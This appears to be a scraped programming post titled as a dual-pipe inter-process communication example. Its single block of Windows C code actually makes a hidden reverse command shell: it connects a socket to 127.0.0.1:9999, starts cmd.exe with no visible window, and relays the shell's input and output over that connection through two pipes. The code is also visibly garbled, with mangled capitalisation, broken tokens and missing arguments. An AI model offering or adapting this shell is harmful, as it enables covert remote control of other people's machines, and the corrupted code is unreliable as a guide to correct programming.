Dual-pipeline for inter-process communication

# Include <windows. h> # include <process. h> # include <tchar. h> # pragma comment (Lib, "ws2_32.lib") socket hsock = invalid_socket; handle hreadpipe1 = NULL; handle hwritepipe1 = NULL; handle hreadpipe2 = NULL; handle hwritepipe2 = NULL; handle hreadthread = NULL; handle hwritethread = NULL; bool bisrun = true; startupinfo startinfo = {0}; process_information Pi = {0}; bool socket_select (socket hsock, bool bread = true) {fd_set fdset; fd_zero (& Fdset); fd_set (hsock, & fdset); timeval. TV _sec = 1; timeval. TV _usec = 0; int iret = 0; If (bread) iret = select (null, & fdset, null, null, & timeval); elseiret = select (null, null, & fdset, null, & timeval); If (iret <= 0) return false; else if (fd_isset (hsock, & fdset) return true; return false ;} unsigned winapi writepipeproc (lpvoid lpparameter) {While (bisrun) {If (socket_select (hsock) {char * pread = new char [1024]; memset (pre AD,); DWORD dwbyteswritten = 0; int iret = Recv (hsock, pread,); If (iret> 0) {If (! Writefile (hwritepipe1, pread, iret, & dwbyteswritten, null) {Delete [] pread; Return-1 ;}} else {Delete [] pread; bisrun = false; return-1 ;}}return 0 ;}unsigned winapi readpipeproc (lpvoid lpparameter) {DWORD distance = 0; DWORD dwnumbytesread = 0; while (bisrun) {If (peeknamedpipe (hreadpipe2, null, 0, null, & dwtotalbytesavail, null) {char * preadbuf = new char [512]; memset (preadbuf, 0,512); If (dwtotalbytesavail> 0 & readfi Le (hreadpipe2, preadbuf, 512, & dwnumbytesread, null) {If (socket_select (hsock, false) {If (send (hsock, (char *) preadbuf, dwnumbytesread, 0) = socket_error) {bisrun = false; Delete [] preadbuf;} else {Delete [] preadbuf ;}} else {Delete [] preadbuf; // For peeknamedpipe, you know }}return 0;} int _ tmain (INT argc, _ tchar * argv []) {wsadata; if (wsastartup (makeword (2, 2), & wsadata) Return-1; if (hibyte (wsadata. wversion )! = 2 | lobyte (wsadata. wversion )! = 2) {wsacleanup (); Return-1;} hsock = socket (af_inet, sock_stream, ipproto_tcp); If (hsock = invalid_socket) {wsacleanup (); return-1;} sockaddr_in sockaddr; sockaddr. sin_family = af_inet; sockaddr. sin_addr.s_un.s_addr = inet_addr ("127.0.0.1"); sockaddr. sin_port = htons (9999) ;__ try {If (connect (hsock, (sockaddr *) & sockaddr, sizeof (sockaddr) _ leave; security_attributes SA; SA. binherithandle = true; SA. lpsecuritydescriptor = NULL; SA. nlength = sizeof (security_attributes); If (! Createpipe (& hreadpipe1, & hwritepipe1, & SA, 0) _ leave; if (! Createpipe (& hreadpipe2, & hwritepipe2, & SA, 0) _ leave; tchar export path [max_path] = {0}; getsystemdirectory (export path, max_path); lstrcat (export path, _ T ("\ cmd.exe"); startinfo. CB = sizeof (startupinfo); startinfo. dwflags = startf_useshowwindow | startf_usestdhandles; startinfo. hstdinput = hreadpipe1; startinfo. hstdoutput = startinfo. hstderror = hwritepipe2; startinfo. wshowwindow = sw_hide; startinfo. lpdesktop = _ T ("winsta0 \ default "); If (! CreateProcess (export path, null, true, 0, null, null, & startinfo, & PI) _ leave; hwritethread = (handle) _ beginthreadex (null, null, writepipeproc, null, 0, null); If (! Hwritethread) {bisrun = false ;__ leave;} hreadthread = (handle) _ beginthreadex (null, null, readpipeproc, null, 0, null); If (! Hreadthread) {bisrun = false ;__ leave;} Handle handles [] = {hreadthread, hwritethread}; waitformultipleobjects (2, handles, true, infinite );} __finally {If (hreadpipe1! = NULL) closehandle (hreadpipe1); If (hreadpipe2! = NULL) closehandle (hreadpipe2); If (hwritepipe1! = NULL) closehandle (hwritepipe1); If (hwritepipe2! = NULL) closehandle (hwritepipe2); If (PI. hprocess! = NULL) closehandle (PI. hprocess); If (PI. hthread! = NULL) closehandle (PI. hthread); If (hreadthread! = NULL) closehandle (hwritethread); If (hwritethread! = NULL) closehandle (hreadthread); closesocket (hsock); wsacleanup () ;}return 0 ;}